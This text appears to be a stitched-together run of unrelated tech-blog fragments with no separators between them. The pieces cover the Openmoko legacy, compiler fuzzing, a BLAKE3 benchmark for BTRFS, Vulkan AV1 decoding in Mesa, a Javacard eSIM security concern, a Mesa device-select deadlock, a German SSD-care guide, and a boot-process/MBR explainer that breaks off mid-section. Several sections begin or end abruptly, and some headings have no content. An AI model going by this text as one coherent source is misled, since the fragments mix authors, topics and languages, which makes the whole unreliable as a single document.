Probably the most important part that survived Openmoko was the pioneering spirit of building free software based phones. This spirit has inspired pure volunteer based projects like GTA04/Openphoenux/Tinkerphone, who have achieved extraordinary results - but who are in a very small niche.

What does this mean in practise? We're stuck with a smartphone world in which we can hardly escape any vendor lock-in. It's virtually impossible in the non-free-software iPhone world, and it's difficult in the Android world. In 2016, we have more Linux based smartphones than ever - yet we have less freedom on them than ever before. Why?

• the amount of hardware documentation on the processors and chipsets to day is typically less than 10 years ago. Back then, you could still get the full manual for the S3C2410/S3C2440/S3C6410 SoCs. Today, this is not possible for the application processors of any vendor

• the tighter integration of application processor and baseband processor means that it is no longer possible on most phone designs to have the 'non-free baseband + free application processor' approach that we had at Openmoko. It might still be possible if you designed your own hardware, but it's impossible with any actually existing hardware in the market.

• Google blurring the line between FOSS and proprietary code in the Android OS. Yes, there's AOSP - but how many features are lacking? And on how many real-world phones can you install it? Particularly with the Google Nexus line being EOL'd? One of the popular exceptions is probably Fairphone2 with it's alternative AOSP operating system, even though that's not the default of what they ship.

• The many binary-only drivers / blobs, from the graphics stack to wifi to the cellular modem drivers. It's a nightmare and really scary if you look at all of that, e.g. at the binary blob downloads for Fairphone2 to get an idea about all the binary-only blobs on a relatively current Qualcomm SoC based design. That's compressed 70 Megabytes, probably as large as all of the software we had on the Openmoko devices back then...

So yes, the smartphone world is much more restricted, locked-down and proprietary than it was back in the Openmoko days. If we had been more successful then, that world might be quite different today. It was a lost opportunity to make the world embrace more freedom in terms of software and hardware. Without single-vendor lock-in and proprietary obstacles everywhere.

Levels of fuzzing

If we simply try to compile random data, we're not going to get very far.

Fuzzing with a loose grammar

"[void] [f] []([]) { [] }"
"[]; []"
"{ [] }"
"[0] + [0]"
...

void f () { }           // using the "[void] [f] []([]) { [] }" rule
void f () { ; }         // using the "[]; []" rule
void f () { 0 + 0; }    // using the "[0] + [0]" rule
void f ({ }) { 0 + 0; } // using the "{ [] }" rule
...

Enter prog-fuzz

prog-fuzz output

Results

• https://gcc.gnu.org/bugzilla/buglist.cgi?reporter=vegard.nossum%40gmail.com
• https://gcc.gnu.org/bugzilla/buglist.cgi?reporter=vegard.nossum%40oracle.com

• https://bugs.llvm.org/buglist.cgi?reporter=vegard.nossum%40gmail.com

What next?

• iterative program generation with instrumentation feedback: As opposed to generating one huge program and hoping that it will tickle some interesting path in the compiler you start with a valid program and you apply transformation rules that will gradually introduce complexity in the program. This allows you to use instrumentation feedback to tell exactly which transformations are valuable in terms of new code paths taken, and will give you a corpus of interesting test cases as well as speeding up the full generate/compile/test cycle.
• have the program perform a calculation with a known result: Instead of compiling the same program with two different compilers or configurations and checking that the resulting binary outputs the same thing (which is what Regehr et al. did in "Taming compiler fuzzers"), we can test one compiler/configuration at a time and simply check that the output matches the known solution.

Acknowledgements

Speed and strength are competing goals for a hash algorithm. The speed can be evaluated by anyone, not so much for the strength. I am no cryptographer and for that area rely on expertise and opinion of others. That BLAKE was a SHA3 finalist is a good indication, where BLAKE2 is it’s successor, weakened but not weak. BLAKE3 is yet another step trading off strength and speed.

Regarding BTRFS, BLAKE2 is going to be the faster of strong hashes for now (the other one is SHA256). The argument I have for it now is proof of time. It’s been deployed in many projects (even crypto currencies!), there are optimized implementations, various language ports.

The look ahead regarding more checksums is to revisit them in about 5 years. Hopefully by that time there will be deployments, real workload performance evaluations and overall user experience that will back future decisions.

Maybe there are going to be new strong yet fast hashes developed. During my research I learned about Kangaroo 12 that’s a reduced version of SHA3 (Keccak). The hash is constructed in a different way, perhaps there might be a Kangaroo 2π one day on par with BLAKE3. Or something else. Why not EDON-R, it’s #1 in many of the cr.yp.to/hash benchmarks? Another thing I learned during the research is that hash algorithms are twelve in a dozen, IOW too many to choose from. That Kangaroo 12 is internally of a different construction might be a point for selecting it to have wider range of “building block types”.

Quick evaluation

For BTRFS I have a micro benchmark, repeatedly hashing a 4 KiB block and using cycles per block as a metric.

• Block size: 4KiB
• Iterations: 10000000
• Digest size: 256 bits (32 bytes)

Right now there’s only the reference Rust implementation and a derived C implementation of BLAKE3, claimed not to be optimized but from my other experience the compiler can do a good job optimizing programmers ideas away. There’s only one BLAKE3 entry with the AVX2 implementation, the best hardware support my testing box provides. As I had the other results of BLAKE2 at hand, they’re in the table for comparison, but the most interesting pair are the AVX2 versions anyway.

The improvement is 13-14%. Not much ain’t it, way less that the announced 4+x faster than BLAKE2b. Well, it’s always important to interpret results of a benchmark with respect to the environment of measurement and the tested parameters.

For BTRFS filesystem the block size is always going to be in kilobytes. I can’t find what was the size of the official benchmark results, the bench.rs script iterates over various sizes, so I assume it’s an average. Short input buffers can skew the results as the setup/output overhead can be significant, while for long buffers the compression phase is significant. I don’t have explanation for the difference and won’t draw conclusions about BLAKE3 in general.

One thing that I dare to claim is that I can sleep well because upon the above evaluation, BLAKE3 won’t bring a notable improvement if used as a checksum hash.

References

• new hash for BTRFS selection, same testing box for the measurements
• https://github.com/BLAKE3-team/BLAKE3 – top commit 02250a7b7c80ded, 2020-01-13, upstream version 0.1.1
• DJB’s hash menu and per-machine results with numbers

Personal addendum

During the evaluations now and in the past, I’ve found it convenient if there’s an offer of implementations in various languages. That eg. Keccak project pages does not point me directly to a C implementation slightly annoyed me, but the reference implementation in C++ was worse than BLAKE2 I did not take the next step to compare the C version, wherever I would find it.

BLAKE3 is fresh and Rust seems to be the only thing that has been improved since the initial release. A plain C implementation without any warning-not-optimized labels would be good. I think that C versions will appear eventually, besides that Rust is now the new language hotness, there are projects not yet “let’s rewrite it in Rust”. Please Bear with us.

This extension is one of the ones I've been wanting for a long time, since having royalty-free codec is something I can actually care about and ship, as opposed to the painful ones. I started working on a MESA extension for this a year or so ago with Lynne from the ffmpeg project and we made great progress with it. We submitted that to Khronos and it has gone through the committee process and been refined and validated amongst the hardware vendors.

I'd like to say thanks to Charlie Turner and Igalia for taking over a lot of the porting to the Khronos extension and fixing up bugs that their CTS development brought up. This is a great feature of having open source drivers, it allows a lot quicker turn around time in bug fixes when devs can fix them themselves!

[1]: https://www.khronos.org/blog/khronos-releases-vulkan-video-av1-decode-extension-vulkan-sdk-now-supports-h.264-h.265-encode 

[2]  https://gitlab.freedesktop.org/airlied/mesa/-/tree/radv-vulkan-video-decode-av1

[3] https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/27424

The Oracle Javacard [memory] safety architecture relies on a so-called bytecode verifier which is a program that you run after compiling an application, but before executing the code on the Javacard. The specifications allow for both on-card and off-card verification. However, the computational complexity of this verifier is generally assumed to exceed the resources available inside many microcontrollers used to implement java cards. Such microcontrollers often are ARM SC000 (Cortex-M0 based) or SC300 (Cortex-M3 based) based, with only tens of kilobytes of RAM and hundreds of kilobytes of flash.

Javacard was originally developed for use cases within the banking/payment industry. In that industry, the card-issuing bank is the sole entity that has the keys to load java applets onto a card. That entity is of course interested in the security of the card, and will hence always run an off-card bytecode verifier. In a world of physical SIM/USIM cards issued by a single mobile operator, the situation is the same: The card-issuing MNO/MVNO is the only entity with key materials to install additional java applets on the card.

This fundamental problem became already apparent by earlier findings by Adam Gowdiak in 2019, but at least in terms of public responses by Oracle and Gemalto back then, they mostly did hand-waving and/or made lame excuses.

However, when the industry represented in GSMA standardized the eSIM architecture, this changed. Suddenly we have various eSIM profiles of various different operators, each holding key material to install Java applets on the shared card. In such an environment, it is no longer safe to assume that every MNO/MVNO can be trusted to be non-adverserial and hence trusted to run that off-card bytecode verifier before loading applets onto the card.

If the Javacard runtime on the existing card/chip itself cannot autonomously perform those verification tasks, I don't see how the problem can ever be solved short of completely removing/disabling Javacard support in such eUICCs. Luckily it is an optional feature and not a mandatory requirement for an eUICC to be approved/accredited. Sadly many MNOs/MVNOS however will mandate Javacard support in their eSIM profiles and hence refuse to install into an eUICC without it :(

In my opinion, the solution to the problem can only be to either make the GSMA require full on-card bytecode verification on all eUICCs, or to remove Javacard support from the eUICC.

We have to keep in mind that there are hundreds if not thousands of MVNOs around the planet, and all of them are subject to whatever local jurisdiction they operate in, and also subject to whatever government pressure (e.g from intelligence agencies).

In hindsight, anyone familiar with the 2019 work by Gowdiak and an understanding of the fundamental change to multiple stakeholders in an eUICC (compared to classic SIM/USIM) should have arrived at the conclusion that there is a serious problem that needs addressing. I think the 2019 work had not been publicized and covered significantly enough to make sure that everyone in the industry was made aware of the problems. And that in turn is mostly a result of Oracle + Gemalto downplaying the 2019 findings back in the day, rather than raising awareness within all relevant groups and bodies of the industry.

Bug:

1. Get an intel/nvidia (newer than Turing) laptop.

2. Log in to GNOME on Fedora 42/43 

3. Hotplug a HDMI port that is connected to the NVIDIA GPU.

4. Desktop stops working.

My initial reproduction got me a hung mutter process with a nice backtrace which pointed at the Vulkan Mesa device selection layer, trying to talk to the wayland compositor to ask it what the default device is. The problem was the process was the wayland compositor, and how was this ever supposed to work. The Vulkan device selection was called because zink called EnumeratePhysicalDevices, and zink was being loaded because we recently switched to it as the OpenGL driver for newer NVIDIA GPUs.

I looked into zink and the device select layer code, and low and behold someone has hacked around this badly already, and probably wrongly and I've no idea what the code does, because I think there is at least one logic bug in it. Nice things can't be had because hacks were done instead of just solving the problem. 

The hacks in place ensured under certain circumstances involving zink/xwayland that the device select code to probe the window system was disabled, due to deadlocks seen. I'd no idea if more hacks were going to help, so I decided to step back and try and work out better.

The first question I had is why WAYLAND_DISPLAY is set inside the compositor process, it is, and if it wasn't I would never hit this. It's pretty likely on the initial compositor start this env var isn't set, so the problem only becomes apparent when the compositor gets a hotplugged GPU output, and goes to load the OpenGL driver, zink, which enumerates and hits device select with env var set and deadlocks.

I wasn't going to figure out a way around WAYLAND_DISPLAY being set at this point, so I leave the above question as an exercise for mutter devs.

How do I fix it?

Attempt 1:

At the point where zink is loading in mesa for this case, we have the file descriptor of the GPU device that we want to load a driver for. We don't actually need to enumerate all the physical devices, we could just find the ones for that fd. There is no API for this in Vulkan. I wrote an initial proof of concept instance extensions call VK_MESA_enumerate_devices_fd. I wrote initial loader code to play with it, and wrote zink code to use it. Because this is a new instance API, device-select will also ignore it. However this ran into a big problem in the Vulkan loader. The loader is designed around some internals that PhysicalDevices will enumerate in similiar ways, and it has to trampoline PhysicalDevice handles to underlying driver pointers so that if an app enumerates once, and enumerates again later, the PhysicalDevice handles remain consistent for the first user. There is a lot of code, and I've no idea how hotplug GPUs might fail in such situations. I couldn't find a decent path forward without knowing a lot more about the Vulkan loader. I believe this is the proper solution, as we know the fd, we should be able to get things without doing a full enumeration then picking the answer using the fd info. I've asked Vulkan WG to take a look at this, but I still need to fix the bug.

Attempt 2:

Maybe I can just turn off device selection, like the current hacks do, but in a better manner. Enter VK_EXT_layer_settings. This extensions allows layers to expose a layer setting in the instance creation. I can have the device select layer expose a setting which says don't touch this instance. Then in the zink code where we have a file descriptor being passed in and create an instance, we set the layer setting to avoid device selection. This seems to work but it has some caveats, I need to consider, but I think should be fine.

zink uses a single VkInstance for it's device screen. This is shared between all pipe_screens. Now I think this is fine inside a compositor, since we shouldn't ever be loading zink via the non-fd path, and I hope for most use cases it will work fine, better than the current hacks and better than some other ideas we threw around. The code for this is in [1].

What else might be affected:

If you have a vulkan compositor, it might be worth setting the layer setting if the mesa device select layer is loaded, esp if you set the DISPLAY/WAYLAND_DISPLAY and do any sort of hotplug later. You might be safe if you EnumeratePhysicalDevices early enough, the reason it's a big problem in mutter is it doesn't use Vulkan, it uses OpenGL and we only enumerate Vulkan physical devices at runtime through zink, never at startup.

AMD and NVIDIA I think have proprietary device selection layers, these might also deadlock in similiar ways, I think we've seen some wierd deadlocks in NVIDIA driver enumerations as well that might be a similiar problem. 

 [1] https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/38252 

Imagine working your butt off on a project, only to have VS Code put an attribution into your commit that says Copilot helped you, even if it did not. Microsoft has reversed a change that added a default AI attribution notice after user complaints that the bot was claiming credit for human-authored code.…

Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.

Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server und -Hardware und einer vorherigen Produktionsverknappung hat die Preise für SSDs massiv nach oben getrieben.

Denn zum einen bauen die Hersteller momentan vor allem DRAM-Speicher für Server und KI-Grafikkarten und weniger NAND-Flash für SSDs. Zudem setzen auch KI-Rechenzentren SSDs als Laufwerke ein. Die Folge: Das Angebot für PC- und Notebook-Anwender schrumpft, die Preise steigen. Laut Experten hat sich NAND-Speicher seit Jahresbeginn um rund 60 Prozent verteuert.

Ein gutes Beispiel ist die Samsung 990 PRO NVMe M.2 SSD 2 TB, die bei Amazon derzeit knapp 290 Euro kostet – bis November 2025 war sie meist schon für 160 bis 170 Euro zu haben.  

Diese Entwicklung verwandelt die SSD in Ihrem Rechner von einer jederzeit austauschbaren Komponente zu einem kostbaren Gut, für dessen Langlebigkeit Sie jetzt gut sorgen sollten. Mit unseren Tipps prüfen Sie die Gesundheit des Flashlaufwerks und können sofort Gegenmaßnahmen ergreifen, wenn sie sich verschlechtert. So läuft Ihre SSD problemlos, bis die Preise wieder sinken.

Falls sich aber doch mal eine SSD verabschiedet, finden Sie in unseren Vergleichstests Die besten SSDs aller Klassen von SATA bis PCIe 5.0 im Test und Die besten SSDs mit PCIe 4.0 im Test leistungsfähigen Ersatz.

An diesen PC-Fehlern erkennen Sie SSD-Probleme

Eine SSD stirbt leise. Da dem Flashlaufwerk bewegliche Teile fehlen, hören Sie im Schadensfall kein verdächtiges Klackern wie bei einer HDD. Deshalb sollten Sie auf ungewöhnliches Verhalten des PCs achten, dessen Ursache SSD-Fehler sein könnten.

Auffällig langsamer Windows-Start. Wenn das Betriebssystem behäbig startet und es lange dauert, bis der Anmeldebildschirm oder Desktop angezeigt wird, kann das an zu vielen Programmen im Autostart liegen. Doch falls das gesamte System während des Betriebs für Sekundenbruchteile einfriert, sollten Sie aufmerksam werden: Dieses Verhalten kann auftreten, wenn der SSD-Controller versucht, Daten aus einer Speicherzelle zu lesen, die ihre physikalische Integrität verliert. Das Laufwerk muss den Vorgang dann wiederholen, um die gewünschten Daten fehlerfrei zu erhalten, was das gesamte System ausbremst.

Fehler beim Dateizugriff. Ein deutlicheres Warnsignal sind Fehlermeldungen beim Zugriff auf Dateien. Meldet Windows beim Öffnen eines Dokuments, dass es beschädigt ist oder aufgrund eines „E/A-Gerätefehlers” nicht geöffnet werden kann, sind sehr wahrscheinlich die SSD-Speicherbereiche bereits defekt, in denen die gewünschten Daten liegen. Einige Laufwerke verfügen für diesen Fall über einen eingebauten Schutzmechanismus: Sie schalten in einen Nur-Lese-Modus um, wenn die Fehlerquote einen kritischen Schwellenwert erreicht. Sie können dann Dateien noch aufrufen und kopieren, aber neue oder geänderte nicht mehr speichern.

Windows stürzt plötzlich ab. Meldet sich das Betriebssystem unerwartet mit dem berüchtigten „Blue Screen of Death” ab, der als Fehlerursache „WHEA_UNCORRECTABLE_ERROR” zeigt, ist häufig ein schwerwiegender Fehler im Kommunikationsweg zwischen Prozessor und Speicher das Problem. Die Ursache dafür kann eine thermische Überlastung oder ein instabiler SSD-Controller sein. Auch hier sollten Sie nicht warten, sondern sofort eine umfassende Fehlerdiagnose starten.

Bordmittel oder Gratis-Tool: So prüfen Sie die SSD-Gesundheit

Windows gibt über ein verstecktes Bordmittel Hinweise auf den Zustand der eingebauten SSD. Um es zu nutzen, öffnen Sie über das Startmenü die „Einstellungen”, navigieren zu „System” und dort zu „Speicher”. Unter den „Erweiterten Speichereinstellungen” finden Sie den Bereich „Datenträger und Volumes”. Wenn Sie bei Ihrer SSD auf die Schaltfläche „Eigenschaften” klicken, zeigt Ihnen Windows die „Geschätzte verbleibende Lebensdauer” sowie die aktuelle Temperatur an. Diese Anzeige basiert auf den sogenannten SMART-Werten (Self-Monitoring, Analysis, and Reporting Technology), die jedes moderne Laufwerk ständig im Hintergrund aufzeichnet.

Friedrich Stiemer

Diesen Status sehen Sie aber nur, wenn die SSD mit dem Windows-Standardtreiber für NVMe arbeitet. Notebooks mit einer Intel-CPU verwenden aber oft einen Intel-Treiber wie „Intel RST VMD Controller”, was Sie im Geräte-Manager unter „Speichercontroller” prüfen können: Er gibt die SMART-Werte der SSD nicht weiter, Windows zeigt deshalb den erweiterten Status dann nicht.

Für eine detailliertere Analyse empfehlen wir das Gratis-Tool Crystaldiskinfo. Nach Installation und Start zeigt es eine tabellarische Übersicht. Achten Sie vor allem auf die Information, die oben links steht: Dort signalisiert ein farbiger Punkt den aktuellen Gesamtzustand der SSD. Ein blaues „Gut” bedeutet Entwarnung. Bei einem gelben „Vorsicht” sollten Sie am besten rasch Ihre Daten sichern und einen baldigen Austausch des Laufwerks in Betracht ziehen. Ein rotes „Schlecht” fordert Sie zum sofortigen Handeln auf.

Friedrich Stiemer

Um die kryptischen Zahlenwerte im Tool verständlich zu machen, ist ein kleiner Handgriff nötig: Standardmäßig zeigt Crystaldiskinfo die von der SSD erhobenen „Rohwerte” im Hexadezimalformat. Gehen Sie deshalb im Programmmenü auf den Punkt „Optionen” oder „Funktion”, wählen Sie „Erweiterte Optionen”, dann „Rohwerte” und stellen Sie um auf „10 [DEC]”. Nun sehen Sie beispielsweise bei der Betriebsdauer und den geschriebenen Datenmengen leicht nachvollziehbare Zahlenwerte.

Um die Lebensdauer Ihrer SSD einzuschätzen, achten Sie auf den Punkt „Percentage Used” oder „Verschleißregulierung”: Wenn dieser Wert bei 95 Prozent liegt, bedeutet das bei den meisten Herstellern, dass bereits fünf Prozent der garantierten Lebensdauer verbraucht sind.

Expertenanalyse mit der Windows-Ereignisanzeige

Einen tiefergehenden Blick ins SSD-Innenleben liefert die Windows-Ereignisanzeige – sozusagen das Tagebuch Ihres Rechners. Hier lassen sich Laufwerksprobleme erkennen, die die Diagnosesoftware verschweigt, weil ihre Häufigkeit noch unter einem festgelegten Schwellenwert liegt.

Friedrich Stiemer

Öffnen Sie die Ereignisanzeige mit einem Rechtsklick auf das Windows-Logo in der Taskleiste und den Eintrag „Ereignisanzeige”. Navigieren Sie im Programm links zu „Windows-Protokolle > System”. Suchen Sie unter der Spalte „Quelle” nach dem Eintrag „Disk”, indem Sie beispielsweise die Quellen alphabetisch sortieren.

Besonders kritisch ist die Nummer 7 in der Spalte „Ereignis-ID”: Sie besagt: „Das Gerät hat auf \Device\HarddiskX\DRX einen schlechten Block gefunden.” Das ist die Diagnose für einen physischen Defekt.

Auch die Ereignis-ID 153 ist ein ernstzunehmender Hinweis: Sie besagt, dass eine Lese- oder Schreiboperation wiederholt werden musste. Häufen sich diese Meldungen, wird die SSD nicht mehr lange funktionieren.

Sollten Sie die Event-ID 157 entdecken, hat Windows den Kontakt zum Laufwerk verloren, was auf ein defektes Kabel oder einen lockeren Kontakt im Gehäuse hinweist.

TLC gegen QLC: Der bessere SSD-Speicher

Warum halten manche SSDs länger als andere? Das liegt vor allem daran, wie das NAND-Flash des Laufwerks Daten speichert. Die meisten SSDs arbeiten mit TLC- oder QLC-Speicher.

TLC (Triple-Level Cell) speichert drei Bits pro Zelle. Das erfordert eine präzise Messung der Spannung in acht Stufen. Die Belastung des Materials ist moderat, was zu einer Lebenserwartung von etwa 3000 Schreibzyklen pro Zelle führt.

OSCOO

Bei QLC (Quad-Level Cell) liegen vier Bits in derselben Zelle. Dafür muss der Controller 16 verschiedene Spannungsniveaus unterscheiden können. Die Zellen nutzen sich dadurch schneller ab – oft garantieren die Hersteller für SSDs mit QLC nur 1000 oder weniger Schreibzyklen.

Ist trotz der sehr hohen Preise gerade jetzt ein SSD-Neukauf notwendig, sollten Sie der Versuchung widerstehen, zu den günstigeren QLC-Laufwerken zu greifen. Wenn die SSD Ihr Hauptlaufwerk ist, auf dem Windows und alle Programme installiert sind, sollten Sie lieber in die robustere TLC-Technik investieren. Sie sparen sich damit möglichen Ärger und das Geld für einen verfrühten Neukauf.

So hat Ihre SSD weniger Stress

Sie können die Lebensdauer des Flashlaufwerks verlängern, indem Sie es clever im Rechner platzieren und wichtige Softwareeinstellungen vornehmen.

Eine SSD ist ein Hochleistungsbauteil, das im Betrieb Wärme erzeugt – vor allem der SSD-Controller leidet unter Hitzeentwicklung. NVMe-SSDs im M.2-Format, die direkt auf das Mainboard gesteckt werden, erreichen unter Last Temperaturen von über 70 Grad Celsius. Üblicherweise greift dann eine eingebaute Notbremse: Die SSD drosselt ihre Geschwindigkeit, um Schäden zu vermeiden. Dieser Wechsel zwischen Hitze und Abkühlung belastet aber das Material.

Deshalb sollten Sie dafür sorgen, dass die SSD nicht überhitzt – das gilt besonders für Anwender, die häufig große Datenmengen wie zum Beispiel Videos kopieren.

In einem PC sollte die SSD idealerweise im Luftstrom des Gehäuselüfters liegen. Wenn Ihre Hauptplatine keine Kühlkörper für die M.2-Steckplätze besitzt, können Sie einen passiven Kühlkörper für unter 10 Euro nachrüsten, etwa den Arctic M2 Pro Heatsink-Kühler.

iFixit

Diese Metalllamellen kleben oder schrauben Sie auf die SSD – sie können die Temperatur oft um 10 bis 15 Grad senken. Weniger Möglichkeiten haben Sie bei einem Notebook: Hier können Sie aber darauf achten, den Laptop nicht dauerhaft zu stark auszulasten sowie die Luftein- und -auslässe am Gehäuse nicht zu blockieren.

Eine wichtige Softwareeinstellung für ein längeres SSD-Leben ist das sogenannte Over-Provisioning: Die SSD stellt dabei dem Betriebssystem weniger Speicherplatz zur Verfügung, als sie eigentlich besitzt. Dadurch kann der Controller Daten intern effizient umschichten und muss einzelne Speicherzellen nicht zu häufig beschreiben oder löschen, was sie abnutzt.

Das erreichen Sie, indem Sie die SSD nicht vollständig partitionieren, sondern nur zu rund 90 Prozent. So bleiben dem Controller zehn Prozent Speicherplatz als Daten-Rangierbahnhof. Einfacher geht es mit einem Tool des SSD-Herstellers, zum Beispiel Magician bei Samsung-SSDs.

Tipps für Windows: So entlasten Sie Ihren Speicher

Windows 11 geht üblicherweise pfleglich mit einer SSD um. Doch mit ein paar gezielten Handgriffen können Sie die Schreiblast weiter senken. Ein zentraler Punkt ist der TRIM-Befehl: Durch ihn erfährt die SSD, welche Daten gelöscht wurden, um diese Bereiche im Hintergrund zu säubern.

Stellen Sie sicher, dass diese Funktion aktiv ist, indem Sie im Startmenü „Laufwerke defragmentieren und optimieren” eingeben. Dort sollte bei der SSD unter „Aktueller Status” entweder „Optimierung erforderlich” oder „OK” stehen.

Friedrich Stiemer

Eine klassische Defragmentierung, wie man sie von Festplatten kennt, ist bei SSDs pures Gift, da sie die Zellen unnötig oft beschreibt, ohne einen Geschwindigkeitsvorteil zu bringen. Windows erkennt dies automatisch und führt stattdessen den TRIM-Vorgang durch.

Wenn Ihr Rechner über sehr viel Arbeitsspeicher verfügt – zum Beispiel 32 GB oder mehr –, können Sie erwägen, den Ruhezustand vollständig abzuschalten. Ist dieser aktiv, schreibt Windows bei jedem Ausschalten den gesamten Inhalt des Arbeitsspeichers auf die SSD, was wertvolle Schreibzyklen kostet.

Um dies zu verhindern, klicken Sie mit der rechten Maustaste auf das Windows-Logo in Ihrer Taskleiste und wählen „Terminal (Administrator)” oder „Eingabeaufforderung (Administrator)”. Tippen Sie in das schwarze Fenster den Befehl powercfg -h off ein und bestätigen Sie mit der Enter-Taste. Damit löscht Windows gleichzeitig die Platzhalterdatei auf Ihrem Laufwerk und spart oft mehrere Gigabyte Speicherplatz ein.

Als Alternative bietet sich der „Energie sparen”-Modus (Standby) an, der die Daten lediglich im RAM behält. Diese Funktion können Sie unter Windows 11 nach Ihren Wünschen anpassen: Öffnen Sie die „Einstellungen” mit der Tastenkombination Windows-I, navigieren Sie zu „System” und wählen Sie dort den Bereich „Leistung”.

Unter dem Punkt „Timeouts für Bildschirm, Standbymodus und Ruhezustand” legen Sie in den Drop-down-Menüs fest, nach wie vielen Minuten Ihr Rechner automatisch in den Standby-Modus wechseln soll, sowohl im Akku- wie im Netzbetrieb.

With model devs pushing more aggressive rate limits, raising prices, or even abandoning subscriptions for usage-based pricing, that vibe-coded hobby project is about to get a whole lot more expensive. Fortunately, you're not without cost-saving options.…

Before Windows shows you a login screen, before Linux mounts a single filesystem, before any software you have ever used touches RAM — a completely different system runs first. It has no interface. It makes no sound. And if even two bytes of it are wrong, your computer will not boot at all.

Every time you press the power button, a precise chain of events unfolds in the dark — invisible, silent, and entirely outside the operating system you think of as your computer. This chain involves firmware burned into your motherboard, cryptographic checksums, backup copies of critical structures, and a 92-byte document that maps your entire disk. Understanding this chain does not just satisfy curiosity. It explains why systems fail, how malware hides below the OS, and how forensic analysts recover data that users believe is gone forever.

This guide walks through the complete boot process — from dead hardware to running OS — covering MBR, GPT, and every structure in between. No surface-level overview. The real thing.

Step 1 — Power-On: The CPU Wakes Up With No Instructions

When electrical current reaches your motherboard, the CPU powers on. But it is completely blank at this moment — it has no idea what to do, where the operating system is, or even what kind of disk is connected. It needs a starting point.

That starting point is a chip permanently soldered onto your motherboard called the firmware chip. The CPU’s first action is always to execute whatever code lives at a fixed memory address on that chip. This is either BIOS or UEFI — two generations of the same idea.

BIOS vs UEFI — Why It Matters?

Both are firmware: software permanently stored in hardware, responsible for starting the machine and handing control to your OS. The difference is everything else.

BIOS (Basic Input/Output System) is the original standard, introduced in the 1970s. It operates in 16-bit mode, cannot recognise disks larger than 2 TB, has no graphical interface, and offers no security features. It is a relic that modern systems have abandoned.

UEFI (Unified Extensible Firmware Interface) is the modern replacement. It supports huge disks, has a graphical interface, and includes Secure Boot — a feature that verifies the bootloader hasn’t been tampered with, protecting against malware that attacks before the OS loads. It also keeps a backup of boot code, so if something gets corrupted, it can recover.

How to check on Windows: Press Windows + R, type msinfo32, press Enter. Look for BIOS Mode — it will say either Legacy (BIOS) or UEFI.

Step 2 — POST: The Hardware Health Check

Once the CPU starts executing firmware instructions, the first thing BIOS/UEFI does is run a POST (Power-On Self Test). This is a quick health check of all hardware:

• Is RAM working?
• Is the keyboard connected?
• Are storage drives detected?
• Is the GPU responding?

If everything is fine, you get one short beep (on systems with a speaker) and the process continues. If something is wrong, you hear a pattern of beeps — each pattern means a different error. Error messages may also appear on screen (e.g., “Keyboard not found”). Only after POST passes does the firmware move on to finding the operating system.

Step 3 — Locate a Bootable Device

After POST passes, BIOS/UEFI looks for a bootable device — this could be:

• An SSD or HDD
• A USB drive
• A CD/DVD

It checks them in a priority order you can usually configure (called the boot order). To check if a disk is bootable or to find the OS, it must: read the disk and understand its structure. To do that, they use an addressing system to locate data on the disk. At this point, BIOS uses an older, simpler addressing system (tied to MBR) that can only count up to certain number of storage blocks — which caps out at 2 TB. Any space beyond 2 TB is simply invisible to BIOS — it can’t see or use it. Whereas, UEFI uses a much more advanced addressing system (tied to GPT) that can handle astronomically large disks — up to 9 Zettabytes, which is far beyond any disk that exists today. Once it finds a bootable device, it reads the very first sector of that disk, which contains either:

• MBR (Master Boot Record) — used with BIOS
• GPT (GUID Partition Table) — used with UEFI

To understand about what we are talking, we need to discuss few important concepts with the scenario: Think of your hard drive as a large warehouse. Raw data — documents, videos, system files — is stored inside it as 1s and 0s, the only language a computer understands. But a warehouse full of randomly dumped boxes is useless. You need structure.

Before we go further, we need to establish the foundational concepts that make all of this work.

Foundational Concepts

Partitions:

To bring order to this chaos, the disk is split into partitions — dedicated sections, each serving a specific purpose:

• One partition holds operating system files
• Another holds your personal files
• Another might be reserved for backups or recovery tools

A partition is a logically defined section of a physical disk, created by grouping a consecutive range of sectors together and treating them as an independent unit.

On Windows, you see these as drive letters — C:, D:, E:, and so on. On Linux or macOS, they appear differently (e.g., /dev/sda1), but the concept is the same: separate zones for separate purposes.

Why Partitions Aren’t Enough?

Dividing the disk into partitions solves the organization problem — but creates a new one. The computer now needs a map that tells it:

• How many partitions exist
• Where each one starts and ends
• What each partition contains
• Which partition to boot the operating system from

This is where MBR and GPT come in. MBR (Master Boot Record) and GPT (GUID Partition Table) are partitioning schemes — essentially the blueprint of your warehouse, describing every room inside it.

Disk Size = Storage Capacity

When we say BIOS supports disks up to 2 TB and UEFI supports up to 9 Zettabytes, we’re talking about the total storage capacity of your hard drive or SSD — how much data it can hold.

MBR & GPT: The Blueprints of Your Disk

MBR (Master Boot Record) and GPT (GUID Partition Table) are partitioning schemes — essentially the blueprint of your warehouse, describing every room inside it. Both partitioning schemes differ in structure and properties, and choosing between them depends on multiple factors, including the disk size, hardware compatibility, and much more. Both live in the very first sectors of the disk and are read the moment your computer powers on.

What Exactly is Sector?

A sector is the smallest unit of storage on a disk. Every disk — whether a hard drive or SSD — is physically divided into millions of tiny, fixed-size slots called sectors, each holding 512 bytes of data.When your computer reads or writes anything, it always does so in whole sectors — you can never read or write less than one sector at a time.

All sector numbering starts from 0, and the very first sector (Sector 0) holds a special place in the boot process, as it is where the MBR (Master Boot Record) lives. The real GPT header and partition table start from Sector 1.

Step 4 — Read the Disk Structure: MBR/GPT

When you press the power button, your computer doesn’t yet know where the OS is. It turns to the MBR or GPT first — reading the partition map to figure out which partition contains the operating system and how to load it. This makes them the first critical step in every startup.

What if MBR?

The MBR occupies exactly 512 bytes — starting at the very first sector of the disk. But when you open a raw disk data in a hex editor, how do you know where it ends?

Looking at the given image, it has three columns:

There are two ways to find where the MBR ends

1. Count the rows: Each row contains 16 bytes. So:

16 bytes × 32 rows = 512 bytes = the entire MBR

You can literally count 32 rows from the top — that’s your whole MBR.

2. Look for the MBR Signature: The MBR always ends with the magic bytes 55 AA. This is a universal signature marking the end of MBR code. You can spot it clearly in the last row (000001F0) of the hex editor on the right — the final two bytes are 55 AA .

The first-stage bootloader is when first code (bootstrap code) executes when BIOS loads the MBR into memory.

The Structure of MBR

(you may find faults in this image, very useful to visualize the structure of MBR)

A. Bootstrap Code (Bytes 0–445) — Blue
